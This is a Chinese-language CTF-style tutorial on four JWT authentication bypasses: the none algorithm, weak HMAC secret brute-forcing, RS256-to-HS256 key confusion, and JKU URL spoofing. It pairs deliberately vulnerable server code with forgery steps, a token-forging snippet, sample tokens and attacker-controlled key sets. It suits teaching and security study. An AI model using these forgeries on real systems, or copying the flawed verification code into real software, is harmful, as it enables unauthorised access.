1. 空加密算法
JWT 全称 JSON Web Token, 是⼀种被⽤于替代传统 cookie + session 的身份验证⽅法. JWT 的声明被存储在客户端中, ⽽服务器通过某个特定的加密/签名算法对JWT 进⾏验证
JWT 有三部分组成, 分别为 Header, Payload 和 Signature, 通过 .
连接
Header 中⼀般会有 alg 和 typ 两个字段, 前者指定 JWT 的加密算法, 后者则固定为
JWT , 使⽤ Base64 URL 编码
Payload 负责储存身份认证的信息, 例如⽤户权限等级, 编码⽅式同上
Signature 则为 Header 和 Payload 两个部分的签名, 主要过程是将两者的原始内容
通过 Base64 URL 编码, 然后使⽤ . 拼接, 最后使⽤某个特定的算法 (例如 HMAC、SHA256) 进⾏加密
JWT 规范允许指定加密算法 (即 alg 字段) 为 none, 从⽽完全忽略 Signature 的部分,
使得任何⼈都可以伪造任意身份的 JWT, 因此某些第三⽅ JWT 库在实现规范的时候
可能会存在这个漏洞
eg.
package com.example.jwtdemo.controller;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.ZoneOffset;
import java.time.ZonedDateTime;
import java.time.ZonedDateTime;
import java.util.Random;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.primeframework.jwt.Signer;
import org.primeframework.jwt.Verifier;
import org.primeframework.jwt.domain.JWT;
import org.primeframework.jwt.hmac.HMACSigner;
import org.primeframework.jwt.hmac.HMACVerifier;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
private static String SECRETS;
public IndexController() {
byte[] data = new byte[16];
Random r = new Random();
r.nextBytes(data);
SECRETS = new String(data);
}
@RequestMapping({"/"})
public String index(@CookieValue(name = "token", defaultValue = "") String token, HttpServletResponse response) {
if (!token.isEmpty()) {
JWT jWT = JWT.getDecoder().decode(token, new Verifier[] { (Verifier)HMACVerifier.newVerifier(SECRETS) });
return "hello " + jWT.getString("role");
}
JWT jwt = (new JWT()).setIssuedAt(ZonedDateTime.now(ZoneOffset.UTC)).setExpiration(ZonedDateTime.now(ZoneOffset.UTC).plusMinutes(60L));
jwt.addClaim("role", "guest");
String encodedJWT = JWT.getEncoder().encode(jwt, (Signer)HMACSigner.newSHA256Signer(SECRETS));
response.addCookie(new Cookie("token", encodedJWT));
return "hello guest";
}
@RequestMapping({"/admin"})
public String admin(@CookieValue(name = "token", defaultValue = "") String token) throws Exception {
if (!token.isEmpty()) {
JWT jwt = JWT.getDecoder().decode(token, new Verifier[] { (Verifier)HMACVerifier.newVerifier(SECRETS) });
String role = jwt.getString("role");
if ("admin".equals(role))
return new String(Files.readAllBytes(Paths.get("/flag", new String[0])));
return "you are not admin";
}
return "unauthorized";
}
}
index 路由会解析 JWT 中的 role 字段, admin 路由会验证 role 是否为 admin, 然后输出 flag
查看 pom.xml 可以发现程序使⽤了 com.inversoft:prime-jwt:1.3.0 依赖, 该版本存在⼀个 JWT 身份绕过漏洞, 即可以指定 alg 字段为 none, 从⽽忽略签名, 伪造⾼权限的 JWT
⾸先拿到 guest 的 JWT
在 jwt.io ⽹站上 base64 解码查看 payload 的构成
尝试⼿动构造 alg 为 none 的 jwt
import jwt
token = jwt.encode({'role': 'admin'}, algorithm="none", key="")
print(token)
得到:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ
最后携带 JWT 访问 admin 路由, 拿到 flag
2. HMAC 弱密钥爆破
⼤多数 JWT 使⽤的签名算法都是 HMAC. 在使⽤ HMAC 对 JWT 进⾏签名和验证时, 会指定⼀个密钥 secret, 这个过程类似于对称加密, 因此如果我们能够得到这个 secret, 便可以伪造任意的 JWT
eg.
const fs = require('fs');
const crypto = require('crypto');
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('jsonwebtoken');
var app = express();
app.use(cookieParser());
if (!fs.existsSync('.secret')) {
fs.writeFileSync('.secret', crypto.randomBytes(2).toString('hex'));
}
var secret = fs.readFileSync('.secret').toString();
var flag = fs.readFileSync('/flag').toString();
app.get('/', (req, res) => {
let obj = {
'role': 'guest',
};
let token = jwt.sign(obj, secret, {algorithm: 'HS256'});
res.cookie('token', token)
res.send({
'msg': 'hello world',
});
});
app.get('/admin', (req, res) => {
if (req.cookies.token) {
try {
let obj = jwt.verify(req.cookies.token, secret, {algorithms: 'HS256'});
if (obj.role === 'admin') {
res.send({
'msg': 'welcome admin',
'flag': flag,
});
} else {
res.send({
'msg': 'you are not admin',
});
}
} catch (err) {
res.send({
'err': err,
})
}
} else {
res.send({
'msg': 'unauthorized',
})
}
});
app.listen(80, () => {
console.log('server listening at :80');
});
程序的 JWT 使⽤ HS256 算法, 存在 secret 密钥, 尽管 secret 是随机⽣成的crypto.randomBytes(2).toString('hex')
, 但是⻓度很短 (仅有四个字节), 因此我们仍然有机会去爆破这个 secret
⾸先访问⽹站拿到 JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3MDUwNTU0NDR9.Lt3NmiVNE6z1ZRaQ0KRjLfnMqjIBYVSIzdAWltyYVgo
使⽤ c-jwt-cracker 爆破 secret
然后使⽤ jwt.io 构造 admin 的 JWT
最后携带 JWT 访问 admin 路由拿到 flag
3. RSA 改 HMAC
JWT 除了⽀持 HMAC 算法以外, 还⽀持 RSA 算法. JWT 的 RSA 算法使⽤私钥对 JWT 进⾏签名, 使⽤公钥对 JWT 进⾏验证
在部分情况下, 我们可以拿到⽤于验证 JWT 的 RSA 公钥, 那么这个时候就可以尝试将 JWT Header 中的算法改成 HMAC, 这样流程就变成了: 使⽤公钥 (HMAC secret key) 对 JWT 进⾏签名, 使⽤公钥 (HMAC secret key) 对 JWT 进⾏验证, 从⽽可以任意构造 JWT 的内容
const fs = require('fs');
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('jwt-simple');
var app = express();
app.use(cookieParser());
var privateKey = fs.readFileSync('private-key.pem');
var publicKey = fs.readFileSync('public-key.pem');
var flag = fs.readFileSync('/flag').toString();
app.get('/', (req, res) => {
let obj = {
'role': 'guest',
};
let token = jwt.encode(obj, privateKey, 'RS256');
res.cookie('token', token)
res.send({
res.send({
'msg': 'hello world',
});
});
app.get('/getpubkey', (req, res) => {
res.send({
'msg': 'now you can verify jwt with the public key on your own',
'public': btoa(publicKey)
})
})
app.get('/admin', (req, res) => {
if (req.cookies.token) {
try {
let obj = jwt.decode(req.cookies.token, publicKey);
if (obj.role === 'admin') {
res.send({
'msg': 'welcome admin',
'flag': flag,
});
} else {
res.send({
'msg': 'you are not admin',
});
}
} catch (err) {
res.send({
'err': err
});
}
} else {
res.send({
'msg': 'unauthorized',
});
}
});
app.listen(3000, () => {
console.log('server listening at :3000');
});
程序使⽤了 jwt-simple 库, 版本为 0.5.1, 该版本存在 CVE-2016-10555 漏洞, 即可以将 JWT 的算法从 RS256 改成 HS256, 使得程序使⽤ RSA 公钥, 以 HS256 算法对 JWT 进⾏验证, ⽽ /getpubkey 路由正好会泄露公钥, 因此整个利⽤过程如下
⾸先拿到公钥
然后将公钥作为 HMAC secret, 构造 JWT, 注意勾选 secret base64 encoded
最后访问 /admin 路由拿到 flag
4. JKU 地址伪造
在 JWT 的相关规范中, 存在 JWK 和 JKU 的概念, JWK 即 JSON Web Key, 是⼀个 JSON 对象, 表示⽤于加密/签名的密钥 (⼀般为 RSA 算法)
⽽ JKU (JSON Web Key Set URL) 是 JWT Header 的⼀个字段, ⽤于指定 JWK ⽂件所在的 URL 地址
⼀个很经典的场景是某系统存在多个服务器均需要对⽤户请求的 JWT 进⾏验证, ⽽ JWK 密钥会定期更新, 如果直接将 JWK 以⽂件的形式复制多份放在不同的服务器上, 显然很不⽅便, 这时候就需要⼀个专⻔⽤于存放 JWK 的可信任的服务器 (JKU), 之后只需请求 JKU 地址即可拿到最新的 JWK, 然后再进⾏ JWT 的验证, 这样会⽅便很多
尽管如此, 但部分程序会强依赖于 Header 中的 JKU 进⾏签名的验证, 导致我们可以尝试将 JKU 指向恶意的 URL 地址, 即可使⽤我们已知的 JWK 密钥对 JWT 进⾏验证, 从⽽构造任意内容的 JWT
eg.
const fs = require('fs');
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('jsonwebtoken');
const jwksClient = require('jwks-rsa');
var app = express();
app.use(cookieParser());
var flag = fs.readFileSync('/flag').toString();
app.get('/', function(req, res) {
res.cookie('token', 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.X8CEnicXPdsIk_P0V - wM8EElKL8FyKSi7aE - _p11oLsQzvR48mEk92jeS9E8 iJpSO1gcz8gUVSZvDS2Ne0cGIc86O4aZphVG - uZYydYVctZT - ho7vRuflOK9uNVf7SNnjEcxi TP5 - driA547Dc_v6zPqfBrSid2kLQElsYKIlklwJX0H - qHTNjClrxh9fFkIe1d_MSksrYahVX SCsxi0mm3JPVwK8NjdPKNHEWLCw0DR2HaK64SUDFbE9wucYQCo4L6HBBF2hg4KRXIgBApHIoG jFrdM5BB7z0nXWqZpxuF_DjvzNiMwPbPWpEV02bQa6j52zg3o0DYGXRFLu1FtQA');
res.send({
'msg': 'hello world'
});
});
app.get('/static/jwks.json', function(req, res) {
res.sendFile('./jwks.json', {root: __dirname});
});
app.get('/flag', async function(req, res) {
if (req.cookies.token) {
try {
let decoded = jwt.decode(req.cookies.token, {complete: true});
let client = jwksClient({
jwksUri: decoded.header.jku ?? 'http://127.0.0.1:80/static/ jwks.json',
cache: false,
});
let key = await client.getSigningKey(decoded.header.kid ?? 'test');
let pubKey = key.getPublicKey();
let data = jwt.verify(req.cookies.token, pubKey);
if (data.role === 'admin') {
res.send({
'msg': 'welcome admin',
'flag': flag
});
} else {
res.send({
'msg': 'you are not admin'
});
}
} catch (err) {
res.send({
'err': err
});
}
} else {
res.send({
'msg': 'unauthorized',
});
}
});
app.listen(80, () => {
console.log('server listening at :80');
});
程序默认发送⼀个已经签名好的 jwt, 同时 JWK 密钥已知
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"kid": "test",
"n": "mvZIyoISigFRl86lzZoIRrx6RUek5C-de0HqnitsrZ1mD4Box6Ko8Bt6YroUQda7ickhFwc9Ldxtgcms3Q_zoBtXOHYgq9ym6BPl275ZOD-kOpHOCtMrRPe5KO66bdT4uhKab4Pu1KExfmPEVn6jf7Plo_NTmR6MP8H3nn8_z8NroSNwNe_Lf7AKVeVm-Ys0hPbpr5RbFeKt2EXMIUScQrvTLgOfRil6lT-KFhloWBvzo91OGtGdwAZr99woolkPtOfHxyoboc-zGdWsIVR2Q6cGyXY2dbsq-rwOleY9Vc0PVSj9uVm96c3Z8G1q84hOxaIY8QxziuWWcE4q7_8Blw"
}
]
}
但是这⾥的 JWK 仅仅是 RSA 的公钥, 只能⽤于验证, 不能⽤于签名
仔细阅读代码可以发现程序会通过 JWT Header 中提供的 JKU 地址来获取 JWK, 那么我们就可以搭建⼀个可控的服务器来托管我们⾃⼰的 JWK, 进⽽伪造 admin 的权限
⾸先利⽤ mkjwk ⽣成 JWK
构造 jwks.json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"kid": "test",
"n": "2QTsyirNootelqW9xfKtSrxFRE2G_1VA8wnD6YbXwJNmpgrWQo2eJPR4HpGoKJphawL8xuYbdbzVStt9MnlENlCxFv8F5jlbGgn6cD0AOgRV9WrQh9GqLHWBZKNhoTXa9KCPAHjprclu_Lt9-u3DgsoJoI9v8_oOPd7XNPIEQKP7U9rJPQPVOUP1JQ4zBWpdNHkjY0Qbok8PsTAX2u5o6XbhQIG_2mU-RXoZutdOv5Os1Uh0q-jSeWDn6OiaixvkPtAZxCIiXniOf_BtdsXVkobEhbj8kjjEx5XPJPwg9vz_wzticNqxkH4hkkGZLsrIavxpMkhyuyqPt2qaT0VyUQ"
}
]
}
构造 JWT
搭建 HTTP 服务器托管 jwks.json, 携带 JWT 访问 flag 路由, 拿到 flag